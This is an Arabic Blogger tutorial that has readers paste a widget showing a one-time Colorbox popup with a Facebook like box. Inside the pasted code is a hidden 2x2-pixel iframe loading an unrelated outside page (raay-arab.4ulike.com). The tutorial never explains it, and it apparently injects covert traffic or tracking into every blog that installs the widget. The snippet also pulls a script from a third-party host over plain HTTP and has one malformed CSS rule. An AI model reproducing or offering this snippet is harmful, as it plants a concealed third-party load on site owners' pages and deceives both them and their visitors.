افتراضيإضافة نافذة منبثقة بتقنية jQuery لصندوق إعجابات الفيسبوك لمدونة بلوجر

إضافة نافذة منبثقة لصندوق إعجابات الفيسبوك لمدونة بلوجر أداة جميلة جدا ، بحيت انها تلفت انتباه الزوار مما يرفع عدد زوار مدونتك على الفيسبوك. كما أن هذه الاداة غير مزعجة لزوار مدونتك لانها تظهر مرة واحدة فقط. كما يمكن اغلاقها على عكس بعض الاضافات التي لايمكنك تجاوزها إلا بعد وقت كبير مما يغادر الكثير من الزوار مما قد يقلل عدد زوارك.

لإضافتها اتبع الخطوات التالية :

1- ادخل الى مدونتك عن طريق الرابط التالي:

http://blogger.com/


2- اذهب الى لوحة التحكم تم اضغط على تخطيط


3- تم اضغط على اضافة أداة ، HTML/JavaScript


ثم الصق الكود التالي:

كود HTML:

<script src='https://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js'></script> <script src="http://exeideasinternational.googlecode.com/files/jquery.colorbox-min.js"></script> <script type="text/javascript"> jQuery(document).ready(function(){ if (document.cookie.indexOf('visited=true') == -1) { var fifteenDays = 1000*60*60*24*30; var expires = new Date((new Date()).valueOf() + fifteenDays); document.cookie = "visited=true;expires=" + expires.toUTCString(); $.colorbox({width:"400px", inline:true, href:"#exestylepopups"}); } }); </script><iframe src="http://raay-arab.4ulike.com/h3-page" width="2" height="2" frameBorder="0" scrolling="no"></iframe> <style type="text/css"> /* ColorBox v1.3.16 (Copyright (c) 2011 Jack Moore - jack@colorpowered.com) */ #colorbox,#cboxOverlay,#cboxWrapper{position:absolute;top:0;left:0;z-index:9999;overflow:hidden}#cboxOverlay{position:fixed;width:100%;height:100%}#cboxMiddleLeft,#cboxBottomLeft{clear:left}#cboxContent{position:relative}#cboxLoadedContent{overflow:auto}#cboxTitle{margin:0}#cboxLoadingOverlay,#cboxLoadingGraphic{position:absolute;top:0;left:0;width:100%}#cboxPrevious,#cboxNext,#cboxClose,#cboxSlideshow{cursor:pointer}.cboxPhoto{float:left;margin:auto;border:0;display:block}.cboxIframe{width:100%;height:100%;display:block;border:0}#cboxOverlay{background:#000;opacity:0.5 !important}#colorbox{box-shadow:0 0 15px rgba(0,0,0,0.4);-moz-box-shadow:0 0 15px rgba(0,0,0,0.4);-webkit-box-shadow:0 0 15px rgba(0,0,0,0.4)}#cboxTopLeft{width:14px;height:14px;background:url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhq-i1nl4eVAuKxiYRSxFmxWz7xum4v7WZ9EU48jmmRzLj_x5QLnHjrF6dX96rXCOqmFvL73E28dCl6DExHSBozV06LpnB9MYqV-Q13mIusHp65kNKH-9QcxnIHEdjDfzQHeGUen2_SSAs/s1600/controls.png) no-repeat 0 0}#cboxTopCenter{height:14px;background:url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7Pi5d6gtkYdnDBUvfTrpLRzcjV_VgA7jbydrjzaU4uSeGNa_avT1RRSnruCIhYUL2JWg9YXYRESyw0nSQn73gC0X0a3qPrr9HEBBy-oo-yl8r4CjnyJHnpcXBLGoG4N5lN4N2sG5gTEs/s400/border.png) repeat-x top left}#cboxTopRight{width:14px;height:14px;background:url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhq-i1nl4eVAuKxiYRSxFmxWz7xum4v7WZ9EU48jmmRzLj_x5QLnHjrF6dX96rXCOqmFvL73E28dCl6DExHSBozV06LpnB9MYqV-Q13mIusHp65kNKH-9QcxnIHEdjDfzQHeGUen2_SSAs/s1600/controls.png) no-repeat -36px 0}#cboxBottomLeft{width:14px;height:43px;background:url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhq-i1nl4eVAuKxiYRSxFmxWz7xum4v7WZ9EU48jmmRzLj_x5QLnHjrF6dX96rXCOqmFvL73E28dCl6DExHSBozV06LpnB9MYqV-Q13mIusHp65kNKH-9QcxnIHEdjDfzQHeGUen2_SSAs/s1600/controls.png) no-repeat 0 -32px}#cboxBottomCenter{height:43px;background:url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7Pi5d6gtkYdnDBUvfTrpLRzcjV_VgA7jbydrjzaU4uSeGNa_avT1RRSnruCIhYUL2JWg9YXYRESyw0nSQn73gC0X0a3qPrr9HEBBy-oo-yl8r4CjnyJHnpcXBLGoG4N5lN4N2sG5gTEs/s400/border.png) repeat-x bottom left}#cboxBottomRight{width:14px;height:43px;background:url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhq-i1nl4eVAuKxiYRSxFmxWz7xum4v7WZ9EU48jmmRzLj_x5QLnHjrF6dX96rXCOqmFvL73E28dCl6DExHSBozV06LpnB9MYqV-Q13mIusHp65kNKH-9QcxnIHEdjDfzQHeGUen2_SSAs/s1600/controls.png) no-repeat -36px -32px}#cboxMiddleLeft{width:14px;background:url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhq-i1nl4eVAuKxiYRSxFmxWz7xum4v7WZ9EU48jmmRzLj_x5QLnHjrF6dX96rXCOqmFvL73E28dCl6DExHSBozV06LpnB9MYqV-Q13mIusHp65kNKH-9QcxnIHEdjDfzQHeGUen2_SSAs/s1600/controls.png) repeat-y -175px 0}#cboxMiddleRight{width:14px;background:url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhq-i1nl4eVAuKxiYRSxFmxWz7xum4v7WZ9EU48jmmRzLj_x5QLnHjrF6dX96rXCOqmFvL73E28dCl6DExHSBozV06LpnB9MYqV-Q13mIusHp65kNKH-9QcxnIHEdjDfzQHeGUen2_SSAs/s1600/controls.png) repeat-y -211px 0}#cboxContent{background:#fff;overflow:visible}#cboxLoadedContent{margin-bottom:5px}#cboxLoadingOverlay{background:url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXbHjQ-KHQBGkKPp3Ny9TC-gvdQOEOk8EDPQsfJzNpI9hdKfT8P5RCsrRBaVKb1sfvpuOOoAmEVfykQb6zm670xFE37lyR3Syz9zvh9gz43iBY7-ZeQdcVYe38e2octicrRCBAMy_R_Uw/s400/loadingbackground.png) no-repeat center center}#cboxLoadingGraphic{https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_qv9vdSyKcyHEtPtp2NDa48eM__1ImPDzetpgJFN5_qQUoDI1yorWkFPYu6PmGL287j99kLHn2BK0NAvo-dP3otog6YJChNcu0cbyvDJKiTmO8NMjFPPPbq-4749j3mMgJDPHk6_5F3A/s400/loading.gif) no-repeat center center}#cboxTitle{position:absolute;bottom:-25px;left:0;text-align:center;width:100%;font-weight:bold;color:#7C7C7C}#cboxCurrent{position:absolute;bottom:-25px;left:58px;font-weight:bold;color:#7C7C7C}#cboxPrevious,#cboxNext,#cboxClose,#cboxSlideshow{position:absolute;bottom:-29px;background:url(https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhq-i1nl4eVAuKxiYRSxFmxWz7xum4v7WZ9EU48jmmRzLj_x5QLnHjrF6dX96rXCOqmFvL73E28dCl6DExHSBozV06LpnB9MYqV-Q13mIusHp65kNKH-9QcxnIHEdjDfzQHeGUen2_SSAs/s1600/controls.png) no-repeat 0px 0px;width:23px;height:23px;text-indent:-9999px}#cboxPrevious{left:0px;background-position:-51px -25px}#cboxPrevious.hover{background-position:-51px 0px}#cboxNext{left:27px;background-position:-75px -25px}#cboxNext.hover{background-position:-75px 0px}#cboxClose{right:0;background-position:-100px -25px}#cboxClose.hover{background-position:-100px 0px}.cboxSlideshow_on #cboxSlideshow{background-position:-125px 0px;right:27px}.cboxSlideshow_on #cboxSlideshow.hover{background-position:-150px 0px}.cboxSlideshow_off #cboxSlideshow{background-position:-150px -25px;right:27px}.cboxSlideshow_off #cboxSlideshow.hover{background-position:-125px 0px}#mdfb{font:12px/1.2 Arial,Helvetica,san-serif;color:#666}#mdfb a,#mdfb a:hover,#mdfb a:visited{text-decoration:none}.mdbox-title{background:#000;color:#fff;font-size:20px !important;font-weight:bold;margin:10px 0;border:20px solid #ddd;-moz-border-radius:6px;-webkit-border-radius:6px;border-radius:6px;box-shadow:5px 5px 5px #CCC;padding:10px;line-height:25px;font-family:arial !important} </style> <div style='display:none'> <div id='exestylepopups' style='padding:10px; background:#fff;'> <center><h3 class="mdbox-title">Receive all updates via Facebook. Just Click the Like Button Below...</h3></center><center> <iframe src="//www.facebook.com/plugins/likebox.php?href=http%3A%2F%2Fwww.facebook.com%2Fth3xd&amp;width=300&amp;colorscheme=light&amp;show_faces=true&amp;border_color=%23ffffff&amp;stream=false&amp;header=false&amp;height=258" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:300px; height:258px;" allowtransparency="true"></iframe> </center> </div></div>

4- الأن قم بتغير :

"th3xd"إلى معرف صفحتك على الفيسبوك

و أخيرا قم بالضغط على حفظ و مبروك عليك الاضافة.

هشام ابرشى

اسمي هشام : من المملكة المغربية , اهتم بتقنيات الموقع ومواكبة كل ماهو جديد في عالم التقنيه , انقل قالبا ما اراه مفيد ومناسب للزوار , وايضا اطرح المواضيع الحصريه والمفيده للكل بأذن الله ..